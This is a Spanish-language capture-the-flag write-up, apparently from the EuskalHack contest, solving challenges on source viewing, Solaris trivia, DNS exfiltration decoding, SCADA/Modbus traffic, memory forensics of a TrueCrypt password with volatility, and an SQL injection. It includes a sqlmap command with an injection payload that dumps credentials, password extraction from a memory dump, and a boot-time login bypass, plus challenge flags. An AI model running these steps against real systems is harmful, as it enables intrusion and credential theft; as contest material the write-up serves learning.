======
0level
======

El reto que mas me ha costado encontrar.. View source:
<meta name="flag" content="flag{starter_flag_welcome}">

flag{starter_flag_welcome}

========
Trivia 1
========

ufff.. pues depende. he gastado todos mis intentos:

svcadm disable apache2 - flag{47faad087ac2f17d10b508bb75925d48}
svcadm disable http:apache2 - flag{9237af749c21deefec1739cb75841efe}
svcadm disable /network/http:apache2 - flag{9237af749c21deefec1739cb75841efe}
svcadm disable tomcat - flag{1d01cd0a7a7efe7b853a38e5bbbbef0f}

========
Trivia 2
========

https://en.wikipedia.org/wiki/Solaris_Containers

"Zones induce a very low overhead on CPU and memory. Most types of zones share the global zone's virtual address space. A zone can be assigned to a resource pool (processor set plus scheduling class) to guarantee certain usage, or can be capped at a fixed compute capacity ("capped CPU") or can be given shares via fair-share scheduling.[5]

Currently a maximum of 8191 non-global zones can be created within a single operating system instance. "Sparse Zones", in which most filesystem content is shared with the global zone, can take as little as 50 MB of disk space. "Whole Root Zones", in which each zone has its own copy of its operating system files, may occupy anywhere from several hundred megabytes to several gigabytes, depending on installed software. The 8191 limits arises from the limit of 8,192 loopback connections per Solaris instance. Each zone needs a loopback connection. The global zone gets one, leaving 8,191 for the non-global zones."

flag{4b2944dfea61be814911110c21ddd974}

============
DNS codified
============

He encontrado: 63   96.986931   104.131.38.172 91.200.40.69   HTTP   163 GET /secure-atom128c-online HTTP/1.1
en el pcap. asi que supongo que alguien lo usa para encriptar algo con atom128:

http://crypo.bz.ms/secure-atom128c-online

por ejemplo para codificar el nombre del subdominio de exfiltración:
A5r1AJ6fDGhiAguUAGufHJX1HGkGfJ6eAqCC.exfil.identificar.me

FLAGISHAVENODNSWHATMDOING = A5r1AJ6fDGhiAguUAGufHJX1HGkGfJ6eAqCC

flag{FLAGISHAVENODNSWHATMDOING}

==========
This is SCADA
==========

Con netviewer y wireshark puedo identificar mas o menos los hosts. la direccion del HMI parece ser
172.16.136.134 [HMI] [HMI.] (Windows) la cual comunica con 172.16.136.133 (PLC?) dando comandos
por el protocolo Modbus (puerto 502, tipico protocolo serial de SCADA).

172.16.136.134_172.16.136.133_Modbus/TCP
flag{da9536260f9bb2385ba615f7a7f5d6d3}

==========
This is SCADA II
==========

Entra una nueva IP en la Red 172.16.136.128 (maquina infiltrada? Kali OS, nmap Scan, puerto 4444 abierto...).
La 172.16.136.137 parece ser la maquina monitora (Satori(l) hace passive Fingerprinting).
La 172.16.136.128 hace un escaneo nmap de la red local y procede a explotar SMB

Exploit: ms08_067_netapi
74:4a:bf:84:f6:b8:c0:ca:af:cc:55:5e:84:c7:2c:ea

==========
Don't stop me now
==========

Cuando arranco la VM veo dos usuarios y alpacino ejecutando dos programas.
No consigo ningun exploit a la maquina, asi que procedo a sacar la memoria del ultimo snapshot de la VM:

VBoxManage debugvm 2016-06-13T14-29-13-145731500Z.sav dumpguestcore --filename memory.elf

luego a analizarlo con volatility y listo:

volatility --plugins=/root/euskalhack/vboxelf.zip -f test.elf --profile=WinXPSP3x86 pslist

alpacino esta ejecutando Truecrypt y keepass

volatility --plugins=/root/euskalhack/vboxelf.zip -f test.elf --profile=WinXPSP3x86 clipboard

0 WinSta0 CF_UNICODETEXT 0x80085 0xe1995de8 las rosas son Rojas y el mar es Violeta 123..

volatility --plugins=/root/euskalhack/vboxelf.zip -f test.elf --profile=WinXPSP3x86 hashdump

no encuentro nada...

A por truecrypt:
volatility --plugins=/root/euskalhack/vboxelf.zip -f test.elf --profile=WinXPSP3x86 truecryptsummary

Volatility Foundation Volatility Framework 2.4
Registry Version TrueCrypt Version 7.1a
Password Don't stop me now, 'cause I'm having a good time! at offset 0xf95c5064
Process TrueCrypt.exe at 0x814fdda0 pid 248

```
Service              truecrypt state SERVICE_RUNNING
Kernel Module        truecrypt.sys at 0xf9591000 - 0xf95c8000
Symbolic Link        K: -> \Device\TrueCryptVolumeK mounted 2016-06-06 13:31:06 UTC+0000
Symbolic Link        Volume{ebad56d0-2bea-11e6-8cdc-08002791d121} ->
\Device\TrueCryptVolumeK mounted 2016-06-06 13:31:06 UTC+0000
Symbolic Link        K: -> \Device\TrueCryptVolumeK mounted 2016-06-06 13:31:06 UTC+0000
Driver               \Driver\truecrypt at 0x1a15f38 range 0xf9591000 - 0xf95c7b80
Device               TrueCryptVolumeK at 0x814cc260 type FILE_DEVICE_DISK
Container            Path: \??\C:\Documents and Settings\alpacino\Mis documentos\MiVol.tc
Device               TrueCrypt at 0x81615e00 type FILE_DEVICE_UNKNOWN
```

contraseña de truecrypt: Don't stop me now, 'cause I'm having a good time!

Arranco la maquina otra vez con la iso de konboot para entrar como Administrador.

Dentro del contenedor (recuperando) se encuentra el archivo flag.txt:

7abd48b1acec72be8fdcc0533f1f2d96314f7bb1

flag{7abd48b1acec72be8fdcc0533f1f2d96314f7bb1}

==========
Users finder I
==========

username admin da positivo

SQLi en username=admin%22%271+1=1

sqlmap -u http://146.185.172.148:47000/index.php --dbms=mysql --data "username=admin%22%271+1=1" -v 2 --level 5 --risk 3 -f -D ctf --dump

```
user,password
admin,flag{XCYv7i0fNOYyogHc}
tunelko,trololo
```

========
Encuesta
========

flag{EuskalHackTeAgradeceTuParticipacion}

agradezco haber podido participar. eskerrik asko!